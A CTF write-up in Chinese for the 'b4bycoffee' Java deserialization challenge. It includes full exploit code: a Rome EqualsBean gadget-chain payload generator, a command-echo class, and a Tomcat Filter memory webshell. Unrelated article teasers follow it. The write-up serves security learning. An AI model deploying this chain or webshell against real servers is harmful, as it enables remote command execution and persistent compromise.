【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

目录

前言

环境准备

简单分析

EXP(两种打法)

生成Payload

恶意类

①Spring命令执行回显类

②Filter型内存马


前言

本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(

主要记录下做题过程,纯菜狗,小白文

环境准备

这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目

需要进行如下的处理

先是对jar包进行解压

用jadx-gui打开

 

 

简单分析

先来看pom

比较刺眼的是Rome依赖,还有spring可能会用于写内存马

接着注意到/b4by/coffee路由,此处便是反序列化入口

AntObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类

好在EqualsBean还是在的,依然可以配合HashMap来触发ToString

此外AntObjectInputStream还重写了resolveClass,就是配合黑名单用的

现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?

“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”

我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。

那这不就易如反掌易如反掌了吗(

手搓链子(不会tabby,锐意学习中)

java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

EXP(两种打法)

记得pom里再导一个javassist依赖

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>

生成Payload

 GenPayload.java

package com.example.b4bycoffee.exp;

import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class GenPayload {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static String getPayLoad() throws Exception {
        byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();
        CoffeeBean coffeeBean = new CoffeeBean();
        setFieldValue(coffeeBean, "ClassByte", code);

        EqualsBean equalsBean = new EqualsBean(String.class, "test");

        HashMap map = new HashMap();
        map.put(equalsBean, "xxx");
        setFieldValue(equalsBean, "obj", coffeeBean);
        setFieldValue(equalsBean, "beanClass", CoffeeBean.class);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
        return payload;
    }

    public static void main(String[] args) throws Exception {
        getPayLoad();
    }
}

恶意类

①Spring命令执行回显类

SpringEcho.java

不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ

命令执行用下面SpringEcho类来回显

(参考链接:java回显学习 | 现科信息安全协会)

package com.example.b4bycoffee.exp;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }

    }
}

header注入cmd即可

②Filter型内存马

package com.example.b4bycoffee.exp;

import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.springframework.context.ApplicationContext;

import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class TomcatInject implements Filter {
    private static final String filterUrlPattern = "/*";
    private static final String filterName = "Z3r4y";

    static {
        try {
            ServletContext servletContext = getServletContext();
            if (servletContext != null) {
                Field ctx = servletContext.getClass().getDeclaredField("context");
                ctx.setAccessible(true);
                ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

                Field stdctx = appctx.getClass().getDeclaredField("context");
                stdctx.setAccessible(true);
                StandardContext standardContext = (StandardContext) stdctx.get(appctx);

                if (standardContext != null) {
                    // 这样设置不会抛出报错
                    Field stateField =
                            org.apache.catalina.util.LifecycleBase.class.getDeclaredField(
                                    "state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);

                    Filter myFilter = new TomcatInject();
                    // 调用 doFilter 来动态添加我们的 Filter
                    // 这里也可以利用反射来添加我们的 Filter
                    javax.servlet.FilterRegistration.Dynamic filterRegistration =
                            servletContext.addFilter(filterName, myFilter);

                    // 进行一些简单的设置
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    // 设置基本的 url pattern
                    filterRegistration.addMappingForUrlPatterns(
                            java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
                            false,
                            new String[] {"/*"});

                    // 将服务重新修改回来,不然的话服务会无法正常进行
                    if (stateField != null) {
                        stateField.set(
                                standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }

                    // 在设置之后我们需要 调用 filterstart
                    if (standardContext != null) {
                        // 设置filter之后调用 filterstart 来启动我们的 filter
                        Method filterStartMethod =
                                StandardContext.class.getDeclaredMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);

                        /** 将我们的 filtermap 插入到最前面 */
                        Class ccc = null;
                        try {
                            ccc =
                                    Class.forName(
                                            "org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t) {
                        }
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t) {
                            }
                        }
                        // 把filter插到第一位
                        Method m =
                                Class.forName("org.apache.catalina.core.StandardContext")
                                        .getDeclaredMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase(filterName)) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
                    }
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    // webshell命令参数名
    private final String cmdParamName = "cmd";

    private static ServletContext getServletContext()
            throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ServletRequest servletRequest = null;
        // shell注入,前提需要能拿到request、response等
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        // 不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        // 如果不能去到request,则换一种方式尝试获取

        // spring获取法1
        if (servletRequest == null) {
            try {
                c =
                        Class.forName(
                                "org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c =
                        Class.forName(
                                "org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {
            }
        }
        if (servletRequest != null) return servletRequest.getServletContext();

        // spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {
        }
        return null;
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void doFilter(
            ServletRequest servletRequest,
            ServletResponse servletResponse,
            FilterChain filterChain)
            throws IOException, ServletException {
        System.out.println(
                "TomcatShellInject doFilter.....................................................................");
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader =
                    new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {}
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/473094.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深圳库卡机器人KR460控制柜维修快速解决

一、库卡机器人KR460控制柜常见故障类型 库卡机器人KR460控制柜可能出现的故障类型多种多样&#xff0c;常见的包括电源故障、通信故障、过热保护以及电路板损坏等。这些故障可能导致机器人不能启动、运行不稳定或突然停机等问题。 二、库卡机器人KR460控制柜维修前的准备 在开…

代码随想录刷题day29|非递减子序列全排列全排列II

文章目录 day29学习内容一、非递减子序列1.1、代码-错误写法1.1.1 多了一个return语句。1.1.2、nums[i-1] > nums[i]&#xff0c;这个条件写错了&#xff0c;为什么呢&#xff1f;1. 忽略了回溯算法的动态决策过程2. 限制了可能的递增子序列的探索 1.2、代码-正确写法 二、全…

javaSwing超级玛丽

一、摘要 摘要 近年来&#xff0c;Java作为一种新的编程语言&#xff0c;以其简单性、可移植性和平台无关性等优点&#xff0c;得到了广泛地应用。J2SE称为Java标准版或Java标准平台。J2SE提供了标准的SDK开发平台。利用该平台可以开发Java桌面应用程序和低端的服务器应用程序…

小白学视觉 | 超详细!Python中 pip 常用命令

本文来源公众号“小白学视觉”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;超详细&#xff01;Python中 pip 常用命令 相信对于大多数熟悉Python的人来说&#xff0c;一定都听说并且使用过pip这个工具&#xff0c;但是对它的了…

C语言例3-35:长度运算的例子

长度运算符的表现形式&#xff1a; sizeof(数据类型符&#xff09; 或 sizeof(变量&#xff09; 长度运算符的优先级&#xff1a; 与单目算术运算符、单目逻辑运算符、自增和自减运算符的优先级相同。上述优先级相同的运算符的结合性都是从右至左。 长度运算的例子 代码如…

python网络爬虫实战教学——urllib的使用(2)

文章目录 专栏导读1、前言2、URLError3、HTTPError4、urlparse5、urlunparse 专栏导读 ✍ 作者简介&#xff1a;i阿极&#xff0c;CSDN 数据分析领域优质创作者&#xff0c;专注于分享python数据分析领域知识。 ✍ 本文录入于《python网络爬虫实战教学》&#xff0c;本专栏针对…

SpringWEB组件及运行流程

SpringWEB组件 前端控制器&#xff1a; DispatcherServlet&#xff08;不需要程序员开发&#xff09;,由框架提供&#xff0c;在 web.xml 中配置。 作用&#xff1a;统一处理请求和响应&#xff0c;整个流程控制的中心&#xff0c;由它调用其它组件处理 用户的请求. 处理…

基于QGraphicsView的图像显示控件,支持放大、缩小、鼠标拖动

原链接 前言 这是一个Qt平台的基于QGraphicsView类的图像显示控件&#xff0c;支持输入QPixmap、QImage、opencv的从cv::Mat类。 实现平台&#xff1a;Windows 10 x64 Qt 6.2.3 MSVC 2019 opencv 4.5 先来看演示视频 控件类实现 ImageViewer.h文件 #ifndef IMAGEVIEWER…

力扣刷题Days23-35.搜索插入的位置(js)

1&#xff0c;题目 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。请必须使用时间复杂度为 O(log n) 的算法。 2&#xff0c;代码 /*** param {number[]} nums*…

Autosar Crypto Driver学习笔记(二)

文章目录 Crypto DriverFunction definitionsGeneral APICrypto_InitCrypto_GetVersionInfo Job Processing InterfaceCrypto_ProcessJob Job Cancellation InterfaceKey Management InterfaceKey Setting Interface密钥设置接口Crypto_KeyElementSetCrypto_KeySetValid Key Ex…

206.翻转链表

给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1]示例 2&#xff1a; 输入&#xff1a;head [1,2] 输出&#xff1a;[2,1]示例 3&#xff1a; 输入&#xff1a;head [] 输…

软件设计师:03 - 数据库系统

一、数据模型的分类 1.1、概念数据模型 1.2、结构数据模型 1.3 真题 二、三级模式 概念模式对应的是基本表&#xff0c;概念模式也称为模式 外模式对应的是视图&#xff0c;也称用户模式或者子模式 内模式对应的是数据库里面的存储文件&#xff0c;也称存储模式 真题 三、两级…

使用Dockerfile打包java项目生成镜像部署到Linux

1、Dockerfile 介绍 如果说容器就是“小板房”&#xff0c;镜像就是“样板间”。那么&#xff0c;要造出这个“样板间”&#xff0c;就必然要有一个“施工图纸”&#xff0c;由它来规定如何建造地基、铺设水电、开窗搭门等动作。这个“施工图纸”就是“Dockerfile”。 比起容…

探秘ChatGPT:智能聊天系统的真实面貌

最近&#xff0c;“ChatGPT”这款聊天机器人在网上广受追捧。 该软件被众多人誉为“时代的里程碑”、“科技领域的新冠军”&#xff0c;上次有如此形容的技术便是互联网。 微软创始人比尔盖茨对ChatGPT的描述是&#xff0c;你可能预想出五年后的形态&#xff0c;但是对于十年…

sqlalchemy和moke生成实体类(一)

前言 如果通过java生成实体类&#xff0c;可以通过mybatis或者mybatis-plus的generator。 而sqlalchemy也可以生成实体类&#xff0c;通过sqlalcodegen或者flask-sqlalcodegen。 使用flask-sqlalcodegen生成实体类 建表 建立学生表&#xff0c;如下。 create table stude…

redis关联和非关联

1.1.2.关联和非关联 传统数据库的表与表之间往往存在关联&#xff0c;例如外键&#xff1a; 而非关系型数据库不存在关联关系&#xff0c;要维护关系要么靠代码中的业务逻辑&#xff0c;要么靠数据之间的耦合&#xff1a; {id: 1,name: "张三",orders: [{id: 1,ite…

基于Spring Boot+Vue的社区医院管理系统

末尾获取源码作者介绍&#xff1a;大家好&#xff0c;我是墨韵&#xff0c;本人4年开发经验&#xff0c;专注定制项目开发 更多项目&#xff1a;CSDN主页YAML墨韵 学如逆水行舟&#xff0c;不进则退。学习如赶路&#xff0c;不能慢一步。 目录 一、项目简介 一、研究背景 二…

BUUCTF-Misc11

[SWPU2019]神奇的二维码1 1.打开附件 2.扫码 提示这里没有flag 3.binwalk 把图片放在kali,用binwalk 发现&#xff1b;里面有好几个压缩包和一张图片 binwalk -e 分离的文件 得到以下内容 4.base64 点开总共有一个加密的图片&#xff0c;和一个加密的音频&#xff0c;还有一…

【算法】差分算法(空调)

可用于求一个数组要变为另一个数组最少要改变多少次的次数 Farmer John 的 N 头奶牛对他们牛棚的室温非常挑剔。 有些奶牛喜欢温度低一些&#xff0c;而有些奶牛则喜欢温度高一些。 Farmer John 的牛棚包含一排 N 个牛栏&#xff0c;编号为 1…N&#xff0c;每个牛栏里有一头…

(一)基于IDEA的JAVA基础3

通过之前的内容&#xff0c;我们在建好的文件夹下建一个java文件&#xff0c;我们来在IDEA中写一下之前用记事本写的helloworld&#xff0c;我们先看一下java代码的规范: 1.java程序文件名一定要有意义&#xff0c;首字母一定要大写。 2.class后面的名字:由大小写字母&#x…